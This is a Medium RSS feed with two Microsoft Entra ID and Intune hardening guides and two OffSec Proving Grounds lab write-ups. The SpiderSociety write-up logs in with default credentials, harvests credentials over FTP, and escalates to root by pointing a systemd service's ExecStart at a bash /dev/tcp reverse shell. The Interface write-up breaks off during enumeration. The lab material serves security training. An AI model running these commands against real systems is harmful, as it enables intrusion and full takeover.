<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by NullEsc on Medium]]></title>
        <description><![CDATA[Stories by NullEsc on Medium]]></description>
        <link>https://medium.com/@NullEsc?source=rss-dbf96f72b63f------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*-LV21YEGV20UXk82xpyugg.jpeg</url>
            <title>Stories by NullEsc on Medium</title>
            <link>https://medium.com/@NullEsc?source=rss-dbf96f72b63f------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 01:19:55 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@NullEsc/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Securing Hybrid Work with Microsoft Entra ID]]></title>
            <link>https://medium.com/@NullEsc/securing-hybrid-work-with-microsoft-entra-id-ec411b548877?source=rss-dbf96f72b63f------2</link>
            <guid isPermaLink="false">https://medium.com/p/ec411b548877</guid>
            <category><![CDATA[microsoft-azure]]></category>
            <category><![CDATA[zero-trust]]></category>
            <category><![CDATA[cloud-security]]></category>
            <category><![CDATA[microsoft-entra-id]]></category>
            <category><![CDATA[identity-management]]></category>
            <dc:creator><![CDATA[NullEsc]]></dc:creator>
            <pubDate>Mon, 21 Sep 2026 08:29:36 GMT</pubDate>
            <atom:updated>2026-09-21T10:07:03.968Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lEPxesUV_2i0KkACitxyJw.png" /></figure><p>Modern hybrid work means users can sign in from the office, home, or other external networks, so access decisions need to consider more than just a username and password. The exact requirements and policies will differ between organisations, but the underlying approach follows Zero Trust principles by evaluating the context of each access request rather than automatically trusting a user based on their location or previous access. This scenario looks at how Microsoft Entra ID can apply that approach using Conditional Access, Named Locations and MFA. Office sign-ins are treated differently from external sign-ins, while users working outside the trusted network are required to complete MFA and re-authenticate more frequently.</p><p>It also covers the operational side of identity security. Entra sign-in logs are used to investigate which Conditional Access policies were applied and why, while Privileged Identity Management (PIM) provides Just-in-Time administrative access without leaving permanent privileged roles assigned to the user. Together, these controls demonstrate how Entra ID can secure normal hybrid access while still allowing temporary administrative access when it is actually required.</p><p>For this scenario, John Doe is a hybrid employee who works from both the office and home and occasionally performs approved administrative tasks.</p><p>First, I create a <strong>trusted Named Location</strong> called NetGuard Office Network in Microsoft Entra ID and add the public IP address.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6MI8BjTlEI9wBULcOYViug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Pi02cvte9DvxNvRiCSFiUg.png" /></figure><p>Next, I create a Conditional Access policy for John Doe so sign-ins from outside the trusted NetGuard office network require MFA.</p><p>For this, scope the policy to the targeted user, set <strong>Target resources</strong> to <strong>All resources</strong>, and configure <strong>Network</strong> to include any location while excluding <strong>Office Network</strong>. This makes the policy apply everywhere <strong>except</strong> our trusted office network. Under <strong>Session</strong>, enable <strong>Sign-in frequency</strong> with periodic reauthentication set to <strong>12 hours</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vDrV3ufmif0btY-J3z7ZMg.png" /></figure><p>With the Conditional Access policy in place, I test John Doe signing in from the trusted office network and then repeat the test from an external network. We can then compare how the policy behaves from an excluded trusted location versus an external location where MFA is required.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*15MZtKDKAaJ2XnPxCHlscA.png" /></figure><p>Notice how the two external sign-ins now show Multifactor authentication, while the office-network sign-ins remain Single-factor authentication. This is the expected behaviour because the WFH policy excludes the trusted office network.</p><p>Looking further into the sign-in events, the <em>12:01:50</em> office sign-in shows <strong>WFH — Require MFA</strong> as <strong>Not Applied</strong>. When John signs in externally at <em>12:27:34</em>, the same policy shows <strong>Success</strong>, with the MFA authentication strength and sign-in frequency controls applied.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*083ONeINRkvOTtwXef9RQw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DvcMyT7kYZ0O4isPVcuZhw.png" /></figure><p>Now suppose John occasionally helps with approved IT administrative tasks but assigning him a permanent admin role would give him privileges even when they are not needed, so instead we can provide administrative access only when required.</p><p>We can do this through <strong>Privileged Identity Management</strong> by making John <strong>eligible</strong> for the <strong>User Administrator</strong> role rather than assigning it permanently.</p><p>First, I configure the <strong>User Administrator</strong> role settings by setting the <strong>Activation maximum duration</strong> to <strong>1 hour</strong>, requiring <strong>MFA</strong> and <strong>justification</strong>, and adding an approver.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*00AMAiSk4IXN8f6TYW5xfQ.png" /></figure><p>Next, I assign the <strong>User Administrator</strong> role to John as an <strong>eligible</strong> assignment for the working week.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*tqzTm0JNj5QbcDYNIvJ4ug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*isuoyvqiB6XgHU1TNVdu2A.png" /></figure><p>John is now eligible for the <strong>User Administrator</strong> role from Monday 4 pm until Friday 6 pm, and during that period he can request activation. Once approved, the role can remain active for up to <strong>1 hour per activation</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JjJEczm1KNbfbAr5w2c8dg.png" /></figure><p>John now appears under <strong>Eligible assignments</strong>, so let’s request activation of the <strong>User Administrator</strong> role.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mkLjuwe75falxTwQROy7Pg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LeZEDnurT8LOqAA0MPmkWg.png" /></figure><p>Once John sends the request, it appears under <strong>Approve requests</strong>, where the administrator can review his reason and either approve or deny the activation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ox-7f_PvWvnUcXouzIJGVA.png" /></figure><p>Once approved, John receives the <strong>User Administrator</strong> role for up to <strong>1 hour</strong>, after which the temporary access expires without leaving the role permanently active.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b965XIUXgec6UkxN2mrnuw.png" /></figure><p>Back on John’s account, the <strong>User Administrator</strong> role now appears under <strong>Active assignments</strong>, confirming the activation was successful.</p><p>From the administrator account, the <strong>Resource audit</strong> shows who requested the role, who approved it and when the activation was completed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yt_-BOtJdFmwoTmmY-oLiw.png" /></figure><p>This shows how Conditional Access, Named Locations, MFA and PIM can work together to secure hybrid access while keeping privileged roles temporary and controlled. The sign-in logs and PIM audit trail also provide a clear way to verify and investigate how those controls behave in practice.</p><p>Thank you for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ec411b548877" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Intune App Protection Policies & Conditional Access for BYOD]]></title>
            <link>https://medium.com/@NullEsc/securing-unmanaged-devices-with-intune-app-protection-policies-e825df7d39d1?source=rss-dbf96f72b63f------2</link>
            <guid isPermaLink="false">https://medium.com/p/e825df7d39d1</guid>
            <category><![CDATA[microsoft-intune]]></category>
            <category><![CDATA[microsoft-security]]></category>
            <category><![CDATA[data-loss-prevention]]></category>
            <category><![CDATA[entra-id]]></category>
            <category><![CDATA[conditional-access]]></category>
            <dc:creator><![CDATA[NullEsc]]></dc:creator>
            <pubDate>Wed, 12 Aug 2026 05:56:06 GMT</pubDate>
            <atom:updated>2026-08-16T05:50:24.963Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MzLh4qwSpCRNF2oVrJ2Fdg.jpeg" /></figure><p>Modern hybrid workplaces require secure mobile access to corporate assets without forcing full <strong>Mobile Device Management</strong> (MDM) enrollment on user-owned or unmanaged endpoints. This document details the implementation of Microsoft Intune <strong>Mobile Application Management</strong> (MAM) paired with Entra ID Conditional Access. By applying a dedicated <strong>App Protection Policy</strong>, we enforce strict data loss prevention (DLP) controls directly at the application layer, preventing unauthorised data leakage via cut/copy/paste restrictions, and encrypted application containers for core productivity apps like Microsoft Outlook and OneDrive.</p><p>To enforce these application boundaries, Conditional Access policy acts as the gatekeeper. It evaluates login requests on Android devices and requires an active App Protection Policy before granting access to corporate resources. Entra ID verifies application compliance dynamically at authentication, while Intune locks down corporate data in transit, at rest, and between managed and unmanaged applications on the device.</p><p>To begin with, navigate to the Microsoft Intune admin center:</p><ol><li>Select Apps &gt; Protection (under Manage apps).</li><li>Click + Create policy and select Android.</li><li>Provide a descriptive policy name and description, then click Next</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ga_HDqS4hLfRLtVWDg8eZg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mknkbvOgAHXS1Xmz2A6Uog.png" /></figure><p>Under the <strong>Apps</strong> tab, set <strong>Target policy to</strong> as <strong>Selected apps</strong>, click <strong>+ Select public apps</strong>, and search for <strong>Microsoft Outlook</strong> and <strong>Microsoft OneDrive</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1qrA3t2HA9z17y92CAkrqA.png" /></figure><p>Next under the <strong>Data protection</strong> tab, configure the <strong>Data Transfer</strong> settings to control how corporate data moves in and out of managed applications:</p><ul><li><strong><em>Backup org data to Android backup services</em>:</strong> Set to <strong>Block</strong> to prevent unencrypted cloud backups of company data.</li><li><strong><em>Send org data to other apps</em>:</strong> Set to <strong>Policy managed apps</strong> to ensure data stays strictly within the managed container.</li><li><strong><em>Save copies of org data:</em></strong> Set to <strong>Block</strong> to stop users from saving work files locally on the device.</li><li><strong><em>Restrict cut, copy, and paste between other apps:</em></strong> Set to <strong>Policy managed apps with paste in</strong> to allow incoming data into work apps while blocking outbound copy/paste to unmanaged apps.</li><li><strong><em>Screen capture and Google Assistant</em>:</strong> Set to <strong>Block</strong> to prevent screenshots of corporate data or leakage through device assistants.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*ZuuosrffdyfANAl83gGDEg.png" /></figure><p>Under the <strong>Encryption</strong> section, configure settings to ensure corporate data handled by protected apps is encrypted at rest:</p><ul><li><strong><em>Encrypt org data:</em></strong> Set to <strong>Require</strong> to enforce app-level encryption on unmanaged BYOD devices.</li><li><strong><em>Encrypt org data on enrolled devices:</em></strong> Set to <strong>Require</strong> to maintain app-level encryption even if the device is MDM-enrolled.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*YiSWBuLXCb_H-BiaxkV4MQ.png" /></figure><p>In the <strong>Functionality </strong>section, we can configure these settings to further minimise data leakage:</p><ul><li><strong><em>Printing org data:</em></strong> Set to <strong>Block</strong> to stop users from printing corporate emails and documents to untrusted printers.</li><li><strong><em>Restrict web content transfer with other apps:</em></strong> Set to <strong>Microsoft Edge</strong> to force all links within managed apps to open strictly inside the corporate Edge browser container.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*SLEor4pSQ1ANI66W4VN-Bg.png" /></figure><p>Moving to step 4, on the <strong>Access requirements</strong> tab, we establish authentication controls to govern how users access corporate applications. By enforcing an app-level PIN, we ensure company data remains isolated and secure behind its own encrypted container, preventing unauthorised access even if the host device lacks a screen lock or is left unlocked.</p><ul><li><strong><em>PIN for access:</em></strong><em> </em>Set to <strong>Require</strong> to force users to enter an app-level PIN when accessing corporate data.</li><li><strong><em>PIN type:</em></strong> Set to <strong>Numeric</strong> with a <strong>minimum PIN length</strong> of <strong>4</strong> to keep authentication quick yet secured.</li><li><strong><em>Biometrics instead of PIN for access:</em></strong> Set to <strong>Allow</strong> so users can conveniently unlock apps using fingerprint or face identification, backed by a <strong>30-minute inactivity timeout</strong> before requiring the PIN again.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*yOQWWu5glIREmgW4MJh2FQ.png" /></figure><p>On the <strong>Conditional launch</strong> tab, we set automated security enforcement rules. Think of this as an automated safeguard. If a device is lost, offline for too long, or compromised, Intune automatically revokes access or wipes sensitive corporate data without requiring manual IT intervention.</p><p><strong>App conditions</strong></p><ul><li><strong><em>Max PIN attempts (5 -&gt; Reset PIN):</em></strong> Forces a PIN reset after 5 consecutive failed login attempts to prevent brute-force access.</li><li><strong><em>Offline grace period (1440 minutes -&gt; Block access):</em></strong> Requires the app to check in with Intune at least once every 24 hours to confirm policy compliance before blocking access.</li><li><strong><em>Offline grace period (90 days -&gt; Wipe data):</em></strong> Automatically performs a selective wipe of corporate data if the device remains offline for 90 consecutive days.</li></ul><p><strong>Device conditions</strong></p><ul><li><strong><em>Jailbroken/rooted devices (Block access):</em></strong> Instantly blocks corporate app access if Intune detects that the operating system kernel or security controls have been compromised.</li><li><strong><em>Samsung Knox device attestation (Block access on supported devices)</em>:</strong> Leverages hardware-level attestation on Samsung devices to block access if system integrity checks fail.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*aSdy_EwHG8eeDf4z-w-cqQ.png" /></figure><p>Finally on the <strong>Assignments tab</strong>, we bring the policy into effect by targeting the intended scope of users. App Protection Policies are assigned to users rather than devices, ensuring Mobile Application Management (MAM) controls seamlessly follow the user’s corporate identity across any personal or work device they sign into.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*606eQ7Vl23VnU9WM-BG6uQ.png" /></figure><p>Once assigned, we complete the setup on the <strong>Review + create</strong> tab and click <strong>Create</strong> to deploy the policy.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vPuDCwfZAu6Ve65y-9ZNfg.png" /></figure><h3><strong>Enforcing App Protection with Conditional Access</strong></h3><p>While the App Protection Policy is now active, creating the MAM policy alone is only half the solution. Users could still bypass these app-level protections by accessing corporate data through standard unmanaged apps or web browsers. To close this gap and enforce an enterprise Zero Trust posture, we must configure a Conditional Access policy in Microsoft Entra ID requiring targeted users to use approved client apps and adhere to app protection policies during authentication.</p><p>In the<strong> Microsoft Entra admin center</strong>, we create a policy named<em> </em><strong><em>Require-MAM-App-Android</em></strong> with the following scope:</p><ul><li><strong>Assignments (Users):</strong> Include the <strong>Android Mobile Users</strong> security group.</li><li><strong>Target resources:</strong> Select <strong>All resources (formerly ‘All cloud apps’)</strong> to secure all cloud services.</li><li><strong>Conditions:</strong> Set <strong>Device platforms</strong> to include <strong>Android</strong>.</li><li><strong>Access controls (Grant):</strong> Select <strong>Require app protection policy</strong> to enforce MAM controls at sign-in.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*Gl8LR-j5eS9K0UFK7Y50Lg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YOREjT10gln9SgOX2nW1Pg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aPqZRNHB8Dt8SBIXdzSZ8A.png" /></figure><p>With the Conditional Access policy in place, our configuration is complete. We now shift to end-user device testing on an Android BYOD endpoint to verify that MAM controls and authentication barriers are actively enforced.</p><p>For this to work on Android, the Intune Company Portal app simply needs to be installed on the personal device. The end user does not need to open or log into Company Portal. It runs quietly in the background as an authentication broker. When the employee signs into a corporate app like Outlook, Microsoft Entra ID automatically registers the device, applies our protection policies, and secures company data without taking over their personal phone.</p><p><strong>User Onboarding and Registration</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tYBj3f577VyFtFFxcUkZJw.png" /></figure><ul><li><strong>Device Registration:</strong> When the user opens Outlook or OneDrive and signs in, Microsoft Entra ID prompts them to register their personal phone to establish a secure workplace connection without full MDM enrollment.</li><li><strong>Policy Evaluation:</strong> Microsoft Entra ID verifies the connection, checks device compatibility, and hands off the session to Intune to evaluate management policies.</li><li><strong>MAM Enforcement:</strong> Intune instantly detects the App Protection Policy requirement and forces the user to set a 4-digit PIN before granting access to corporate data.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dNWEaizopr3E4NAiO3UORA.png" /></figure><p>In the Microsoft Entra admin center, the device appears as <strong>Microsoft Entra registered</strong> with <strong>MDM set to None</strong>. This means the endpoint is recognised for identity and app-protection purposes without being fully enrolled in device management.</p><p>To verify policy application in Intune, we can navigate to <strong>Apps &gt; App protection policies</strong> and select the Android policy. The <strong>Overview</strong> blade confirms that the user has checked in successfully, with active policy enforcement reported across both Microsoft Outlook and Microsoft OneDrive.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-StU7nqohOFjsNPNz0Awyw.png" /></figure><p>To test copy/paste and screenshot restrictions, I copied text from inside Outlook and tried pasting it into a personal, unmanaged note app. Intune blocked the action instantly with the prompt: <em>“Your organisation’s data cannot be pasted here.”</em> I then tried taking a screenshot inside Outlook, which triggered a device-level block: <em>“This app doesn’t allow screenshots.”</em> This proves corporate data stays locked inside managed apps and can’t leak out or be captured.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*SaNARVSsXTbd1gP7mCpiyA.png" /></figure><p>This configuration demonstrates how to secure corporate data on personal Android devices (BYOD) using <strong>Microsoft Intune Application Protection Policies</strong> and <strong>Microsoft Entra Conditional Access</strong>. A similar approach also applies to iOS devices with minor platform-specific tweaks.</p><p>Thank you for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e825df7d39d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds: SpiderSociety]]></title>
            <link>https://medium.com/@NullEsc/proving-grounds-spidersociety-1ee4cef93b72?source=rss-dbf96f72b63f------2</link>
            <guid isPermaLink="false">https://medium.com/p/1ee4cef93b72</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[NullEsc]]></dc:creator>
            <pubDate>Sat, 23 May 2026 13:07:59 GMT</pubDate>
            <atom:updated>2026-05-25T11:52:13.256Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*ZLTM6Q2c2XBEzX_DNKioyg.jpeg" /></figure><p>This is an Intermediate box on OffSec’s PG Practice and the community agrees with that.</p><p>Starting with an Nmap scan using <strong>-p-</strong> to scan all ports, <strong>-sV</strong> for service versions, <strong>-T4</strong> for a faster scan,<strong> -Pn</strong> to skip host discovery, and <strong>-oN</strong> to save the results.</p><pre>┌──(nullesc㉿kali)-[~/Desktop/PG/linux/spiderSociety]<br>└─$ sudo nmap -sV -T4 -p- -Pn -oN nmap_SpiderSociety 192.168.239.214<br>[sudo] password for nullesc: <br>Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-23 13:53 +1000<br>Nmap scan report for 192.168.239.214<br>Host is up (0.10s latency).<br>Not shown: 55531 filtered tcp ports (no-response), 10001 closed tcp ports (reset)<br>PORT     STATE SERVICE VERSION<br><strong>22/tcp</strong>   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)<br><strong>80/tcp</strong>   open  http    Apache httpd 2.4.58 ((Ubuntu))<br><strong>2121/tcp</strong> open  ftp     vsftpd 3.0.5<br>Service Info: OSs: Linux, Unix; CPE: cpe:/o:linux:linux_kernel</pre><p>The scan comes back with three ports open. SSH on port 22, an Apache web server on port 80, and vsftpd 3.0.5 running on a non-standard port 2121.</p><p>I checked anonymous login on port 2121 but no access. I’m going to see what’s on port 80 and also run gobuster.</p><pre>gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -u http://192.168.239.214 </pre><p>The page seems to be static. Clicking on the login button throws a 404 page not found error, and at the bottom of the page, there is an email address revealing the target domain name, which is good practice to add to the hosts file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-cBtE1HskWh8Q_YzDIgkWg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*cxfstJbBSl1pGxBQdP5bGQ.png" /></figure><p>Gobuster scan comes back with a few results, and the interesting one is /libspider with a 301 redirect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-jqQBNLHwZghvp_zFnD5dA.png" /></figure><p>That takes me to the login page. As usual, the first thing I try is admin:admin and it works!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*wRjnv7wfBEhwWpr77lw0Hw.png" /></figure><p>The <strong>Reports</strong> and <strong>Missions</strong> buttons don’t do anything, but the <strong>Communications</strong> button shows an FTP user and password, which means I’m going back to that FTP port again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/693/1*xLkvzKXhTayxfNi7lKkMQQ.png" /></figure><p>Logging into FTP with the new credentials, I land in the web root, and the most interesting directory is /libspider, which contains a few interesting files. We can download them all with mget *.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MVtesL0gqsJbvqc5cITprw.png" /></figure><p>Looking at <strong>fetch-credentials.php</strong>, the filename itself hints at its functionality. It fetches credentials.</p><p>Right at the top, there is a reference to a hidden file called: <br>.<strong><em>fuhfjkzbdsfuybefzmdbbzdcbhjzdbcukbdvbsdvuibdvnbdvenv</em></strong></p><pre>nullesc@kali:~/Desktop/PG/linux/spiderSociety$ cat fetch-credentials.php<br><br><br>&lt;?php<br>// fetch-credentials.php<br><br><strong>// Path to the credentials file</strong><br><strong>$credentialsFile = __DIR__ . &#39;/.fuhfjkzbdsfuybefzmdbbzdcbhjzdbcukbdvbsdvuibdvnbdvenv&#39;;</strong><br><br>// Function to parse the credentials file<br>function getCredentials($filePath) {<br>    if (!file_exists($filePath)) {<br>        die(&#39;Credentials file not found.&#39;);<br>    }<br><br>    $lines = file($filePath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);<br>    $credentials = [];<br><br>    foreach ($lines as $line) {<br>        if (strpos($line, &#39;=&#39;) !== false) {<br>            list($key, $value) = explode(&#39;=&#39;, $line, 2);<br>            $credentials[trim($key)] = trim($value);<br>        }<br>    }<br><br>    return $credentials;<br>}<br><br>// Fetch credentials<br>$credentials = getCredentials($credentialsFile);<br>$user = $credentials[&#39;FTP_BACKUP_USER&#39;] ?? null;<br>$pass = $credentials[&#39;FTP_BACKUP_PASS&#39;] ?? null;<br><br>// Check if the request is coming from control-panel.php<br>/* if ($_SERVER[&#39;HTTP_REFERER&#39;] !== &#39;http://yourdomain.com/contro-panel.php&#39;) {<br>    http_response_code(403);<br>    die(&#39;Unauthorized access.&#39;);<br>} */<br><br>// Check if the user is authenticated<br>session_start();<br>if (!isset($_SESSION[&#39;user&#39;])) {<br>    http_response_code(401);<br>    die(&#39;User not authenticated.&#39;);<br>}<br><br>// Respond with the credentials<br>header(&#39;Content-Type: application/json&#39;);<br>echo json_encode([<br>    &#39;FTP_BACKUP_USER&#39; =&gt; $user,<br>    &#39;FTP_BACKUP_PASS&#39; =&gt; $pass<br>]); </pre><p>Let’s browse to this hidden file inside the /libspider directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tIVfEdn9LiN3N2o2-W3tJQ.png" /></figure><p>We have new credentials for a database user named spidey. If we recall our initial nmap scan, there are no database ports exposed externally, so I’m going to try these credentials on SSH to see if we can log in.</p><pre>ssh spidey@192.168.239.214 </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*r4boDl_wnh-9b0g6UTby5Q.png" /></figure><p>Ok we are in as spidey! Once I land on a box I usually start checking a few key areas first like my current <strong>sudo privileges</strong>, <strong>SUID binaries</strong>, <strong>cron jobs</strong>, <strong>files owned by the current user</strong>, <strong>listening services</strong> and <strong>pspy</strong> to monitor running processes in real time without needing root permissions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a4nUpS0LGM-OfVJjM4Oj7Q.png" /></figure><p>The sudo rules let me run two commands as root without a password. I can run <strong>daemon-reload</strong> which tells the system to reload all configuration files and I can <strong>restart</strong> the <strong>spiderbackup</strong> <strong>service</strong>. The exclamation marks at the end mean we are explicitly forbidden from running standard shells directly with sudo.</p><p>So next, I need to see what spiderbackup.service actually does.</p><pre>systemctl cat spiderbackup.service</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qKrWBDZdq7zBZ8yH4wdsYQ.png" /></figure><p>We can see the service runs a script called spiderbackup.sh which we cannot modify since root owns it, but spiderbackup.service is owned by us and runs as root. That means we can modify the service file then reload and restart it.</p><p>So I’m going to change ExecStart= to point to a reverse shell one-liner instead of that spiderbackup.sh script.</p><pre>ExecStart=/bin/bash -c &quot;bash -i &gt;&amp; /dev/tcp/192.168.45.225/443 0&gt;&amp;1&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*aVpMK8z3g9SB2SOVo5-MJA.png" /></figure><p>Now if we reload and restart we should get a shell back.</p><pre>sudo systemctl daemon-reload<br>sudo systemctl restart spiderbackup.service</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QYtltQhitXtGs-WUpoK6YA.png" /></figure><p>The misconfigured service executed exactly as expected, giving us full control over the entire system.</p><p>As always thank you for reading.<br>Stay curious, stay kind, and keep learning. Until the next pivot…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1ee4cef93b72" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving grounds: Interface]]></title>
            <link>https://medium.com/@NullEsc/proving-grounds-interface-5d3c8101422b?source=rss-dbf96f72b63f------2</link>
            <guid isPermaLink="false">https://medium.com/p/5d3c8101422b</guid>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[command-injection]]></category>
            <dc:creator><![CDATA[NullEsc]]></dc:creator>
            <pubDate>Wed, 20 May 2026 20:59:12 GMT</pubDate>
            <atom:updated>2026-05-22T12:56:45.210Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*1qT6jYKAq2g_xVpDNxaq9Q.jpeg" /></figure><p>This lab is rated Easy on OffSec’s Proving Grounds, though the community rates it as Very Hard. It demonstrates how a combination of OWASP Top 10 vulnerabilities, particularly broken access control via parameter tampering and OS command injection, can lead to full root compromise.</p><p>Starting with an Nmap scan across all ports using <strong>-p-</strong>, <strong>-sV</strong> to pull service banners, <strong>-sC</strong> for default scripts, <strong>-T4</strong> to speed things up, <strong>-Pn</strong> to skip host discovery and <strong>-oN</strong> to save the results to a text file.</p><pre>sudo nmap -sV -sC -T4 -p- -Pn -oN nmap 192.168.148.106<br>Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-20 13:24 +1000<br>Nmap scan report for 192.168.148.106<br>Host is up (0.10s latency).<br>Not shown: 65533 closed tcp ports (reset)<br>PORT   STATE SERVICE VERSION<br><strong>22/tcp</strong> open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)<br>| ssh-hostkey: <br>|   2048 08:50:f6:e6:aa:44:d6:c4:f1:ca:3c:d1:d9:18:43:4d (RSA)<br>|   256 ed:c6:e6:95:88:99:58:31:14:20:38:83:01:e2:e7:15 (ECDSA)<br>|_  256 ba:65:96:08:a2:e2:f5:1f:af:88:6e:55:c7:9c:5f:b1 (ED25519)<br><strong>80/tcp </strong>open  http    <strong>Node.js Express framework</strong><br>|_http-title: App<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>With only two ports exposed, ssh on port 22 and http on port 80, I am going to focus my attention on port 80 where the Nmap results identify a Node.js Express application. A quick look at the landing page shows a simple login interface and a list of users, which suggests that credential testing or password spraying is a strong starting point at this stage.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bg9F44QAbJqoeB7l-y1_qA.png" /></figure><p>Before moving further into the application, I am going to run feroxbuster in the background to look for any hidden endpoints or useful files. Since this is a Node.js application, I include js along with html and txt in the extension list.</p><pre>feroxbuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.148.106 -x js,html,txt -t 40</pre><p>Back on the login page, I am going to run Burp Suite in the background and let it log the interaction in HTTP history while I test the page. For simple pages I usually try a few common default credentials, then do a quick check of the page source for any hidden comments or hardcoded values and observe how the page responds as I navigate through it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dugoa6dPzpUhA_YGfg-5_Q.png" /></figure><p>In this case, no findings but Burp has a few interesting entries.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cq4poVYs_zTDMiTRUwcqqA.png" /></figure><p>It looks like the application is triggering a background API request on load that might not be immediately obvious on the frontend. The most intriguing entry here is the GET request to <strong>/api/users</strong>, which correlates with the feroxbuster results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g_NNXeV-54xQ1G3wPqZ_ag.png" /></figure><p>Let’s test the endpoint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rf6_D1bSBTnQejKZgXwwNw.png" 